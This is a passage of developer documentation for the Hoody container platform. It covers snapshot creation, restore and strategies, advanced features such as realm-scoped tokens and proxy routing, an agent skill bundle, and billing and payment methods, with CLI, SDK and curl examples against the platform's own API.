      -H "Content-Type: application/json" \
      -d '{"command": "./deploy.sh v2.1.0", "wait": true}'

    # 3. Health check
    STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
      "https://$PROJECT-$PROD-http-3000.$SERVER.containers.hoody.icu/health")

    # 4. Rollback if failed
    if [ "$STATUS" != "200" ]; then
      curl -X PATCH "https://api.hoody.icu/api/v1/containers/$PROD/snapshots/$SNAP" \
        -H "Authorization: Bearer $HOODY_TOKEN"
      echo "Rolled back to $SNAP"
    fi
    ```
  


---

## Historical Debugging

Something broke, but you are not sure when. With snapshots at regular intervals, you can binary-search through time:

```
Monday snapshot:     working
Tuesday snapshot:    working
Wednesday snapshot:  BROKEN
```

Restore to Tuesday. Still working. The bug was introduced between Tuesday and Wednesday. Narrow the window. If you have hourly snapshots, narrow to the hour. Compare the two states. Find the exact change.

This is `git bisect` for your entire computer, not just your code. The bug might be in a config file. In an environment variable. In a system package update. In a cron job that ran at 3 AM. Snapshots capture ALL of it.

---

## Snapshot Management

### Creating Snapshots


  
    ```bash
    # Create with alias
    hoody snapshots create -c $CONTAINER_ID --alias "milestone-v1"

    # Create with expiration (auto-delete after 7 days)
    hoody snapshots create -c $CONTAINER_ID \
      --alias "temp-experiment" \
      --expiry 7

    # Create permanent snapshot (no expiration)
    hoody snapshots create -c $CONTAINER_ID \
      --alias "golden-image"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Create a snapshot
    const snapshot = await client.api.containers.createSnapshot(containerId, {
      alias: 'milestone-v1',
      expiry: 90  // Days until auto-deletion
    });

    console.log(snapshot.data.snapshot.name);
    // "snap-20260304-143045"
    ```
  
  
    ```bash
    # Create a snapshot
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "alias": "milestone-v1",
        "expiry": 90
      }'

    # Response:
    # {
    #   "data": {
    #     "snapshot": {
    #       "name": "snap-20260304-143045",
    #       "alias": "milestone-v1",
    #       "created_at": "2026-03-04T14:30:45.000Z",
    #       "stateful": false,
    #       "size": 4589764321
    #     }
    #   }
    # }
    ```
  


### Listing Snapshots


  
    ```bash
    # List all snapshots for a container
    hoody snapshots list -c $CONTAINER_ID
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const snapshots = await client.api.containers.listSnapshots(containerId);

    for (const snap of snapshots.data.snapshots) {
      console.log(`${snap.alias || snap.name} - ${snap.created_at} - ${snap.stateful ? 'stateful' : 'stateless'}`);
    }
    ```
  
  
    ```bash
    curl "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


### Restoring Snapshots


  
    ```bash
    # Restore from a snapshot (use the auto-generated name, not alias)
    hoody snapshots restore -c $CONTAINER_ID --name "snap-20260304-143045"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Restore container to a previous state
    await client.api.containers.restoreSnapshot(containerId, snapshotName);
    // Container is now in the exact state it was when the snapshot was taken
    ```
  
  
    ```bash
    # Restore to snapshot
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots/snap-20260304-143045" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # 5-15 seconds: container reverts to snapshot state
    ```
  



**Restoration is destructive.** The current container state is replaced by the snapshot state. Any changes since the snapshot are lost. If you want to preserve the current state before restoring, create a snapshot of it first.


### Deleting Snapshots


  
    ```bash
    # Delete a snapshot to free storage
    hoody snapshots delete -c $CONTAINER_ID --name "snap-20260304-143045"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    await client.api.containers.deleteSnapshot(containerId, snapshotName);
    // Storage freed immediately
    ```
  
  
    ```bash
    curl -X DELETE "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots/snap-20260304-143045" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


---

## Snapshot Strategies

### The AI Safety Net

Snapshot before every AI interaction. Expiry 7 days. If the AI's changes survive a week of use, the snapshot auto-deletes. If something surfaces later, you have a week to catch it.

```bash
# Alias pattern: before-ai-{task}-{date}
POST /api/v1/containers/{id}/snapshots
{"alias": "before-ai-auth-rewrite-2026-03-04", "expiry": 7}
```

### Deployment Milestones

Snapshot before and after every deployment. Keep the "before" for 30 days (rollback window). Keep the "after" permanently if the version is a major release.

```bash
# Before deploy: temporary
{"alias": "pre-deploy-v2.1.0", "expiry": 30}

# After deploy (major version): permanent
{"alias": "v2.0.0-stable"}
```

### Daily Automated Backups

Use cron or [hoody-cron](/kit/cron/) to snapshot every container daily. Set expiry to 30 days. You always have a month of daily restore points, and old snapshots clean themselves up.

### Template Images

Create a perfect development environment once. Snapshot it permanently. When a new team member joins, [copy the container](/foundation/containers/copy-sync/) from that snapshot. One golden image, infinite duplicates.

```bash
# The golden image: never expires
{"alias": "dev-template-2026-q1"}

# New team member:
POST /api/v1/containers/{template}/copy
{"target_project_id": "...", "name": "alice-dev", "source_snapshot": "dev-template-2026-q1"}
```

---

## Snapshots as a Security Tool

When a container is compromised:

1. **Snapshot the compromised state** for forensic analysis
2. **Restore to the last known-good snapshot** -- production is back in seconds
3. **Compare snapshots** to identify exactly what changed -- what files were modified, what processes were added, what data was exfiltrated
4. **Delete the compromised snapshot** after analysis

You do not lose the evidence. You do not lose uptime. The attacker's changes are preserved for study in a snapshot while production runs from a clean state.

This is incident response in 30 seconds, not 3 hours.

---

## What Git Cannot Do

Git versions code. Snapshots version everything else.

| | Git | Snapshots |
| :--- | :--- | :--- |
| **Source code** | Yes | Yes |
| **Database state** | No | Yes |
| **System configuration** | Partially (dotfiles) | Yes (all of `/etc`) |
| **Installed packages** | No (requires rebuild) | Yes (exact binary state) |
| **Environment files** | No (`.env` in `.gitignore`) | Yes |
| **On-disk app/browser data** | No | Yes |
| **Network configuration** | No | Yes |
| **Restore time** | Minutes (clone + install + build + migrate) | Seconds |

Git versions what you wrote. Snapshots version what you run. Together, they cover the entire stack.

---

**Git for your entire computer.** Not a metaphor. Not an approximation. The real thing.

---

**Next:** [Realms & Projects](/concepts/realms-projects/) -- organizing your containers.

---

# Advanced Features

**Page:** foundation/advanced

[Download Raw Markdown](./foundation/advanced.md)

---

# Advanced Features

**You have containers. You have HTTP services. Now what?**

The basics of Hoody -- spawn a container, access it via URL, run whatever you want -- cover 80% of use cases. This page is about the other 20%. The infrastructure patterns that separate "I deployed an app" from "I built a platform."

Prespawn pools that eliminate cold starts. Realm isolation that makes multi-tenancy trivial. Snapshot branching that gives you Git-style version control for entire computers. Storage shares that let containers collaborate without duplicating data. Network routing that changes a container's exit IP with one API call.

Each section below gives you the concept, a quick example, and a link to the deep dive. Think of this as your map to the power-user features.

---


  
    Pre-warm containers so they are ready the instant you need them. Zero cold-start latency.
  
  
    Share server capacity across team members. Collaborative infrastructure without per-user billing.
  
  
    Scope API visibility by realm. Tokens cannot see resources outside their assigned realm.
  
  
    Route container traffic through SOCKS5, HTTP proxies, or block outbound entirely. One API call.
  
  
    Share directories between containers -- readonly or readwrite, same server or cross-server.
  
  
    Clone containers to different servers. Sync copies with source changes incrementally.
  
  
    Capture complete container state. Restore to any point in time. Branch infrastructure like Git.
  


---

## Prespawn System

**Cold starts kill latency-sensitive applications.** A container takes 20-30 seconds to provision. For an on-demand SaaS, a webhook handler, or an AI agent launcher, that is 20-30 seconds too many.

Prespawn fixes this. You define a template -- base image, resource limits, Kit configuration -- and Hoody keeps a pool of containers pre-created and ready. When you need one, it is assigned instantly. No boot time. No provisioning delay.


  
    ```bash
    # Create a prespawned container (ready instantly when needed)
    hoody containers create \
      --project $PROJECT_ID \
      --server-id $SERVER_ID \
      --name "prespawned" \
      --hoody-kit \
      --prespawn
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Create a prespawned container (ready instantly when needed)
    await client.api.containers.create(PROJECT_ID, {
      server_id: SERVER_ID,
      name: 'prespawned',
      hoody_kit: true,
      prespawn: true
    });

    // Container is pre-warmed and assigned from the pool instantly
    ```
  
  
    ```bash
    # Create a prespawned container
    curl -X POST "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "server_id": "'"$SERVER_ID"'",
        "name": "prespawned",
        "hoody_kit": true,
        "prespawn": true
      }'
    ```
  


---

## Server Pools

**One server, multiple users.** Server pools let you share bare metal capacity across team members without giving everyone root access to the host. Create a pool, invite members, and everyone can spawn containers on shared hardware.


  
    ```bash
    # Create a server pool
    hoody pools create --name "engineering-team"

    # Invite a team member
    hoody pools members invite $POOL_ID --username "alice" --role "user"
    ```
  
  
    ```typescript
    // Create a pool and invite team members
    const pool = await client.api.pools.create({ name: 'engineering-team' });

    await client.api.poolMembers.invite(pool.data.id, {
      username: 'alice',
      role: 'user'
    });
    ```
  
  
    ```bash
    # Create a server pool
    curl -X POST "https://api.hoody.icu/api/v1/pools" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"name": "engineering-team"}'
    ```
  


**Deep dive:** [Server Management](/foundation/servers/) | [Servers API](/api/servers/)

---

## Multi-Realm Isolation

**Realm-restricted tokens cannot even see resources outside their realm.** Not "access denied" -- the resources do not exist in their API universe. This is the foundation for multi-tenant isolation, environment separation, and AI agent sandboxing.


  
    ```bash
    # Create a realm-restricted token for staging
    hoody auth create \
      --alias "ci-staging" \
      --realm-ids "507f1f77bcf86cd799439011" \
      --no-allow-no-realm

    # This token can only operate on the realm-scoped host
    hoody --base-url "https://507f1f77bcf86cd799439011.api.hoody.icu" \
      containers list
    ```
  
  
    ```typescript
    // Create realm-restricted token
    const token = await client.api.authTokens.create({
      alias: 'ci-staging',
      realm_ids: ['507f1f77bcf86cd799439011'],
      allow_no_realm: false
    });

    // Use realm-scoped client
    const realmClient = new HoodyClient({
      baseURL: 'https://507f1f77bcf86cd799439011.api.hoody.icu',
      token: token.data.token
    });

    // Only sees staging resources
    const containers = await realmClient.api.containers.list();
    ```
  
  
    ```bash
    # List containers in a specific realm
    curl "https://507f1f77bcf86cd799439011.api.hoody.icu/api/v1/containers" \
      -H "Authorization: Bearer $REALM_TOKEN"
    ```
  



Realms scope API visibility, not network traffic. For network-level isolation, use [Container Network](/foundation/networking/network/) and [Firewall](/foundation/networking/firewall/) configuration.


**Deep dive:** [Realms Concept](/concepts/realms-projects/) | [Realms Foundation](/foundation/hoody-api/realms/) | [Realms API](/api/realms/)

---

## Container Network Configuration

**Change where your container's traffic exits the internet -- without touching anything inside the container.** Route all outbound TCP through a SOCKS5 proxy, an HTTP proxy, or block outbound traffic entirely. The container does not know. It just works.


  
    ```bash
    # Route container traffic through a SOCKS5 proxy
    hoody network update --container $CONTAINER_ID \
      --type socks5 \
      --proxy "socks5://user:pass@proxy.example.com:1080"
    ```
  
  
    ```typescript
    // Route through SOCKS5
    await client.api.containers.updateNetworkConfig(CONTAINER_ID, {
      type: 'socks5',
      proxy: 'socks5://user:pass@proxy.example.com:1080'
    });

    // Or block all outbound traffic
    await client.api.containers.updateNetworkConfig(CONTAINER_ID, {
      type: 'block'
    });
    ```
  
  
    ```bash
    # Route container through SOCKS5 proxy
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/network" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "type": "socks5",
        "proxy": "socks5://user:pass@proxy.example.com:1080"
      }'
    ```
  


**Deep dive:** [Network Configuration](/foundation/networking/network/) | [Container Network API](/api/container-network/)

---

## Storage Shares

**Share a directory from one container to others -- automatically works across servers.** Source controls what is shared and the access mode. Target controls whether to mount it. Readonly for config distribution. Readwrite for collaboration.


  
    ```bash
    # Share a directory with another container (readonly)
    hoody storage create --container $SOURCE_CONTAINER_ID \
      --source-path "/hoody/storage/shared-assets" \
      --target-container-id $TARGET_CONTAINER_ID \
      --mode readonly

    # Share with an entire project (all containers)
    hoody storage create --container $SOURCE_CONTAINER_ID \
      --source-path "/hoody/storage/config" \
      --target-project-id $PROJECT_ID \
      --mode readonly
    ```
  
  
    ```typescript
    // Share directory with another container
    await client.api.storageShares.create(SOURCE_CONTAINER_ID, {
      source_path: '/hoody/storage/shared-assets',
      target_container_id: TARGET_CONTAINER_ID,
      mode: 'readonly',
      alias: 'assets'
    });

    // Target sees files at /hoody/shares/assets/
    ```
  
  
    ```bash
    # Create a storage share
    curl -X POST "https://api.hoody.icu/api/v1/containers/$SOURCE_CONTAINER_ID/storage/shares" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "source_path": "/hoody/storage/shared-assets",
        "target_container_id": "'"$TARGET_CONTAINER_ID"'",
        "mode": "readonly",
        "alias": "assets"
      }'
    ```
  


**Deep dive:** [Shared Storage](/foundation/storage/sharing-files/) | [Cloud Storage](/foundation/storage/cloud/) | [SQLite Drive](/foundation/storage/sqlite-drive/) | [Ramdisk](/foundation/storage/ramdisk/)

---

## Container Copy & Sync

**Clone a container to a different server in minutes. Sync incremental changes in seconds.** Copy gives you a full independent duplicate -- different server, different project, same state. Sync keeps the copy updated without re-copying everything.


  
    ```bash
    # Copy production container to EU server for geographic redundancy
    hoody containers copy $PROD_CONTAINER_ID \
      --target-project-id $PROJECT_ID \
      --target-server-id $EU_SERVER_ID \
      --name "prod-eu-replica"

    # Later: sync the copy with production changes
    hoody containers sync $EU_COPY_ID
    ```
  
  
    ```typescript
    // Copy to different server
    const copy = await client.api.containers.copy(PROD_CONTAINER_ID, {
      target_project_id: PROJECT_ID,
      target_server_id: EU_SERVER_ID,
      name: 'prod-eu-replica'
    });

    // Sync incrementally (only changes transferred)
    await client.api.containers.sync(copy.data.id);
    ```
  
  
    ```bash
    # Copy container to EU server
    curl -X POST "https://api.hoody.icu/api/v1/containers/$PROD_ID/copy" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "target_project_id": "'"$PROJECT_ID"'",
        "target_server_id": "'"$EU_SERVER_ID"'",
        "name": "prod-eu-replica"
      }'

    # Sync copy with source changes
    curl -X POST "https://api.hoody.icu/api/v1/containers/$EU_COPY_ID/sync" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


**Deep dive:** [Copy & Sync](/foundation/containers/copy-sync/) | [Copy & Sync API](/api/container-copy-sync/)

---

## Snapshot Management

**Capture the complete filesystem state of a container -- and restore to that exact moment in seconds.** Snapshots are copy-on-write, so they cost almost nothing to create. Use them before every risky change, every deployment, every AI experiment.


  
    ```bash
    # Snapshot before a risky change
    hoody snapshots create -c $CONTAINER_ID \
      --alias "before-ai-refactor"

    # Something broke? Restore in seconds
    hoody snapshots restore -c $CONTAINER_ID \
      --name "snap-20260325-143045"

    # List all snapshots
    hoody snapshots list -c $CONTAINER_ID
    ```
  
  
    ```typescript
    // Create snapshot before deployment
    const snapshot = await client.api.containers.createSnapshot(CONTAINER_ID, {
      alias: 'pre-deploy-v2.1',
      expiry: 30 // auto-delete after 30 days
    });

    // Deployment failed? Restore
    await client.api.containers.restoreSnapshot(
      CONTAINER_ID,
      snapshot.data.snapshot.name
    );
    ```
  
  
    ```bash
    # Create a snapshot
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "pre-deploy-v2.1", "expiry": 30}'

    # Restore from snapshot
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots/snap-20260325-143045" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  



Restoration is destructive -- current container state is replaced by the snapshot state. If you want to preserve the current state, create a snapshot before restoring.


**Deep dive:** [Snapshots](/foundation/containers/snapshots/) | [Snapshots API](/api/container-snapshots/)

---

## What's Next

- [The Hoody Kit](/kit/) -- the full HTTP service stack that runs in every container
- [Hoody API](/foundation/hoody-api/) -- platform API overview and authentication
- [API Reference](/api/authentication/) -- complete endpoint documentation

---

> **These are not edge cases. These are the tools that turn containers into a platform.**
> **Prespawn eliminates cold starts. Realms eliminate blast radius. Snapshots eliminate fear.**
> **The basics get you running. The advanced features let you build empires.**

---

# Agent Skill Bundle

**Page:** foundation/agent-skill-bundle

[Download Raw Markdown](./foundation/agent-skill-bundle.md)

---

# Agent Skill Bundle

The agent skill bundle is the machine-readable manual that teaches an AI agent
how to drive Hoody. It is **published as static files** at
[`hoody.icu/skills/`](https://hoody.icu/skills/) (and the equivalent CDN path
in every realm), so agents can fetch it without any authentication, embed
URLs into prompts, and load deeper detail on demand.

The bundle is built around **progressive disclosure**: an agent only needs the
lightweight tier-0 skill loaded into every context. Heavier files are fetched
on demand when the agent encounters something the lightweight skill cannot
fully answer.

## The three tiers


  
    **~2 000 tokens · always loaded.** What Hoody is, the auth model, the four
    default operations (signup/login, list/create container, scoped client
    handle, public-URL story), and a one-liner per namespace pointing at
    where to look for more.
  
  
    **~7 000 tokens · fetched on demand.** Full routing manifest: every one of
    Hoody's 19 service namespaces gets a short paragraph describing what it
    owns, when to reach for it, and which other namespace it is most often
    confused with. Bundled with a "routing hints" appendix that disambiguates
    the most common overlapping cases.
  
  
    **~500–2 000 tokens each · fetched on demand.** Three flavors per
    namespace (SDK, HTTP, CLI), each with the actual signatures, payloads,
    examples, and gotchas for that one surface. 19 namespaces × 3 modes = 57
    files.
  


There is also a fourth file — **`SKILL.md`** — that is a mode-blend chooser:
a short document for agents that have not yet decided whether they want to
talk to Hoody via SDK, HTTP, or CLI. It links the three full mode skills
side-by-side and is the file most agents discover first via search engines.

## Bundle layout

The complete bundle is served at the top level of `/skills/`:

```
/skills/
├── SKILL.lite.md             ← tier 0 — always-load this
├── INDEX.md                  ← tier 1 — routing manifest + hints
├── SKILL.md                  ← mode-blend chooser
│
├── SKILL-SDK.md              ← basic SDK skill (intros + core ops)
├── SKILL-SDK-FULL.md         ← SDK skill bundled with every namespace
├── SKILL-SDK/<ns>.md         ← 19 per-namespace deep dives
│
├── SKILL-HTTP.md
├── SKILL-HTTP-FULL.md
├── SKILL-HTTP/<ns>.md
│
├── SKILL-CLI.md
├── SKILL-CLI-FULL.md
└── SKILL-CLI/<ns>.md
```

Every link inside the bundle uses absolute URLs so a file copy-pasted into a
prompt can still resolve deeper detail.

## How agents should use it


Load `SKILL.lite.md` into the agent's system prompt. That is it. The
lightweight skill itself instructs the agent to fetch `INDEX.md` or a
tier-2 file whenever it needs more detail than the one-liners can carry.


A typical request flow:

1. **Pre-loaded.** The agent always has `SKILL.lite.md` in context — about
   2 000 tokens. It already knows what Hoody is, how to authenticate, and
   which namespaces exist.
2. **On a fresh request,** the agent reads `SKILL.lite.md`'s one-liner table
   to identify which namespace owns the task.
3. **If the namespace match is ambiguous** (typical for sentences mentioning
   files vs. notes vs. SQLite), the agent fetches `INDEX.md` for the routing
   hints and a stronger paragraph per namespace.
4. **Once the namespace is locked in,** the agent fetches
   `SKILL-{MODE}/{namespace}.md` to read the actual method signatures and
   payload shapes for the chosen mode.

For most one-shot operations, steps 1 and 4 suffice; step 3 only enters for
genuinely ambiguous prompts.

## Picking a mode

| If the agent's runtime is… | Use |
|---|---|
| JavaScript/TypeScript with the `@hoody-ai/hoody-sdk` package | `SKILL-SDK/<ns>.md` |
| Any language with an HTTP client | `SKILL-HTTP/<ns>.md` |
| A shell, or `hoody` CLI is on the path | `SKILL-CLI/<ns>.md` |

The three modes describe the same operations — they only differ in how to
call them. The mode-blend `SKILL.md` shows the three side-by-side in case
the agent wants to commit later.

## How the bundle is built

The skill bundle is regenerated deterministically from three sources:

| Source | Lives in | What it contributes |
|---|---|---|
| Handwritten prose | `hoody-sdk-generator/hoody-sdk/skills-source/` | The lightweight skill, the INDEX, the per-namespace gotchas, the intros and appendices. |
| SDK and CLI mappings | `sdk-mappings.json`, `cli-mappings.json` | Method names, signatures, parameter tables, command syntax — auto-emitted into the per-namespace deep dives. |
| Public OpenAPI document | `generated/openapi.public.json` | HTTP endpoint paths, request/response schemas, body shapes for the HTTP per-namespace files. |

Same inputs → byte-identical output. A reviewer can diff two builds to see
exactly what a prose change altered.

## Stability guarantees

- **URL paths are stable.** `https://hoody.icu/skills/SKILL.lite.md` is
  considered a public surface. Renaming or moving files in this bundle is
  treated as a breaking API change for agents.
- **Output is deterministic.** The generator does not use random ordering,
  timestamps in body, or LLM calls at build time. A given commit always
  produces the same bytes.
- **Tier-0 size is enforced.** A bundle test asserts `SKILL.lite.md` stays
  under the ~3 000-token ceiling. If a prose edit pushes it over, the build
  fails — pressure to keep the always-loaded skill cheap.

## What's next

---

# Billing & Payments

**Page:** foundation/billing/index

[Download Raw Markdown](./foundation/billing/index.md)

---

# Billing & Payments

**Two balances. Transparent pricing. No surprises.**

Your money goes into a General Balance for infrastructure or an AI Balance for LLM credits. You pick the payment method — credit card (instant), crypto (private), or bank transfer (bulk). Every transaction is logged. Every invoice is generated automatically. Everything is accessible via HTTP.

---

## Check Your Balance

Before spending, know what you have:


  
    ```bash
    # See both balances at once
    hoody wallet balance get

    # General balance only
    hoody wallet balance general

    # AI balance only
    hoody wallet balance ai
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';
    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // All balances — general + AI
    const balances = await client.api.wallet.getAggregateBalances();
    console.log(balances.data);
    // { general_balance: "125.50", ai_limit: "50.00", ai_usage: "23.45", ai_remaining: "26.55" }

    // General balance only
    const general = await client.api.wallet.getGeneralBalance();

    // AI balance only
    const ai = await client.api.wallet.getAiBalance();
    ```
  
  
    ```bash
    # Aggregate balances
    curl -X GET "https://api.hoody.icu/api/v1/wallet/balances" \
      -H "Authorization: Bearer $TOKEN"

    # General balance
    curl -X GET "https://api.hoody.icu/api/v1/wallet/balances/general" \
      -H "Authorization: Bearer $TOKEN"

    # AI balance
    curl -X GET "https://api.hoody.icu/api/v1/wallet/balances/ai" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


---

## Three Payment Methods



**Providers:** Visa, MasterCard, American Express
**Processor:** Stripe (PCI-compliant)
**Fees:** None
**Speed:** Instant

Save a card once. Pay from it whenever you want. Hoody never sees your card number — Stripe handles everything.



**Supported:** BTC, ETH, USDT, USDC, LTC, 100+ more
**Processor:** NOWPayments
**Fees:** +5% processing
**Speed:** 5-60 minutes (blockchain confirmation)

No account needed. No identity required. Just send to the address and wait for confirmation.



**Minimum:** $500+
**Fees:** None from Hoody (your bank may charge)
**Speed:** 1-3 business days

Contact support for account details. Best for large deposits and enterprise accounts.



---

## Add a Payment Method

Save a credit card for repeat payments:


  
    ```bash
    # Add a new credit card
    hoody wallet payment-methods create \
      --name "Personal Visa" \
      --details '{"token": "tok_1LgR....Dc2"}' \
      --is-default
    ```
  
  
    ```typescript
    const paymentMethod = await client.api.wallet.addPaymentMethod({
      name: 'Personal Visa',
      type: 'credit_card',
      details: { token: 'tok_1LgR....Dc2' },  // Stripe.js one-time token
      is_default: true,
    });
    console.log(paymentMethod.data.id); // "507f1f77bcf86cd799439131"
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/wallet/payment-methods/" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "Personal Visa",
        "type": "credit_card",
        "details": { "token": "tok_1LgR....Dc2" },
        "is_default": true
      }'
    ```
  



The `token` is a one-time Stripe token generated by frontend JavaScript. Hoody never handles raw card details. All card data is stored by Stripe (PCI DSS Level 1).


### Manage Saved Cards


  
    ```bash
    # List all payment methods
    hoody wallet payment-methods list

    # Set a card as default
    hoody wallet payment-methods set-default $PAYMENT_METHOD_ID

    # Delete a card
    hoody wallet payment-methods delete $PAYMENT_METHOD_ID
    ```
  
  
    ```typescript
    // List all
    const methods = await client.api.wallet.listPaymentMethods();

    // Set default
    await client.api.wallet.setDefaultPaymentMethod(PAYMENT_METHOD_ID);

    // Delete
    await client.api.wallet.deletePaymentMethod(PAYMENT_METHOD_ID);
    ```
  
  
    ```bash
    # List all
    curl -X GET "https://api.hoody.icu/api/v1/wallet/payment-methods/" \
      -H "Authorization: Bearer $TOKEN"

    # Set default
    curl -X PUT "https://api.hoody.icu/api/v1/wallet/payment-methods/$PAYMENT_METHOD_ID/default" \
      -H "Authorization: Bearer $TOKEN"

    # Delete
    curl -X DELETE "https://api.hoody.icu/api/v1/wallet/payment-methods/$PAYMENT_METHOD_ID" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


---

## Make a Payment

Add funds to your General Balance from a saved card:


  
    ```bash
    # Process a $100 payment
    hoody wallet payments create \
      --amount "100.00" \
      --reason "Monthly infrastructure top-up"
    ```
  
  
    ```typescript
    const payment = await client.api.wallet.processPayment({
      payment_method_id: PAYMENT_METHOD_ID,
      amount: '100.00',
      reason: 'Monthly infrastructure top-up',
    });
    // payment.data.transaction — the transaction record
    // payment.data.invoice — auto-generated invoice
    // payment.data.balance — updated balance
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/wallet/payments/" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "payment_method_id": "507f1f77bcf86cd799439130",
        "amount": "100.00",
        "reason": "Monthly infrastructure top-up"
      }'
    ```
  


**Funds available immediately.** No additional fees. Invoice generated automatically.

---

## Cryptocurrency Payments

**Private. Borderless. No account required.**

### How It Works



1. **Initiate Payment**

   Select cryptocurrency in the dashboard or API. The amount is converted to crypto at the current exchange rate.

2. **Send to Address**

   You receive a unique payment address. Send the exact amount shown (including the 5% fee).

3. **Wait for Confirmation**

   - **Bitcoin:** 15-60 minutes (1-6 confirmations)
   - **Ethereum:** 5-15 minutes (12 confirmations)
   - **Litecoin:** 10-30 minutes (6 confirmations)
   - **Stablecoins (USDT/USDC):** 5-15 minutes (varies by chain)

4. **Funds Added**

   Confirmation email sent. Invoice generated. Balance updated.




**+5% processing fee** on all crypto payments. This covers volatility risk during blockchain confirmation, network fees, and exchange costs. Example: deposit $100 worth of crypto, you pay $105 equivalent, and your General Balance receives $100.


### Supported Currencies

BTC, ETH, USDT, USDC, LTC — and 100+ more via NOWPayments. Check the payment interface for the complete list.

---

## Bank Transfer

**For large deposits and enterprise accounts.**



1. **Contact Support**

   Email with your desired amount, account ID, and preferred currency (USD, EUR).

2. **Receive Bank Details**

   Account number, routing details, SWIFT/BIC code, and a **reference number** (required for crediting).

3. **Send Transfer**

   Include the reference number in the transfer notes. Without it, crediting may be delayed.

4. **Funds Arrive** (1-3 business days)

   Balance updated. Email confirmation. Invoice generated.




**Always include the reference number** in your bank transfer. Without it, we have to manually match the transfer to your account — that means delays.


No Hoody fees on bank transfers. Your bank may charge wire/SWIFT/conversion fees.

---

## Transaction History

Every payment, charge, transfer, and refund — all in one place:


  
    ```bash
    # List recent transactions
    hoody wallet transactions list

    # Get details for a specific transaction
    hoody wallet transactions get $TRANSACTION_ID
    ```
  
  
    ```typescript
    // List transactions
    const txns = await client.api.wallet.listTransactions({
      limit: 50,
      sort_by: 'created_at',
      sort_order: 'desc',
    });

    // Get a specific transaction
    const txn = await client.api.wallet.getTransaction(TRANSACTION_ID);
    ```
  
  
    ```bash
    # List transactions
    curl -X GET "https://api.hoody.icu/api/v1/wallet/transactions?limit=50&sort_by=created_at&sort_order=desc" \
      -H "Authorization: Bearer $TOKEN"

    # Get specific transaction
    curl -X GET "https://api.hoody.icu/api/v1/wallet/transactions/$TRANSACTION_ID" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


Each transaction includes: unique ID, amount, currency, type (payment, credit, debit, refund, adjustment), status (pending, completed, failed, cancelled), timestamp, and related invoice.

---

## Invoices

Every payment generates an invoice automatically. Download them for accounting, taxes, or client billing:


  
    ```bash
    # List all invoices
    hoody wallet invoices list

    # Download invoice as PDF
    hoody wallet invoices download $INVOICE_ID

    # Generate invoice for a transaction that's missing one
    hoody wallet invoices generate $TRANSACTION_ID
    ```
  
  
    ```typescript
    // List invoices
    const invoices = await client.api.wallet.listInvoices({
      limit: 10,
      sort_order: 'desc',
    });

    // Download PDF
    const pdf = await client.api.wallet.downloadInvoicePdf(INVOICE_ID);

    // Generate missing invoice
    await client.api.wallet.generateInvoice(TRANSACTION_ID);
    ```
  
  
    ```bash
    # List invoices
    curl -X GET "https://api.hoody.icu/api/v1/wallet/invoices/?limit=10&sort_order=desc" \
      -H "Authorization: Bearer $TOKEN"

    # Download PDF
    curl -X GET "https://api.hoody.icu/api/v1/wallet/invoices/$INVOICE_ID/pdf" \
      -H "Authorization: Bearer $TOKEN" -o invoice.pdf

    # Generate missing invoice
    curl -X POST "https://api.hoody.icu/api/v1/wallet/invoices/generate/$TRANSACTION_ID" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


---

## Payment Method Comparison

| Method | Speed | Fees | Best For |
|--------|-------|------|----------|
| **Credit Card** | Instant | None | Regular top-ups, automation |
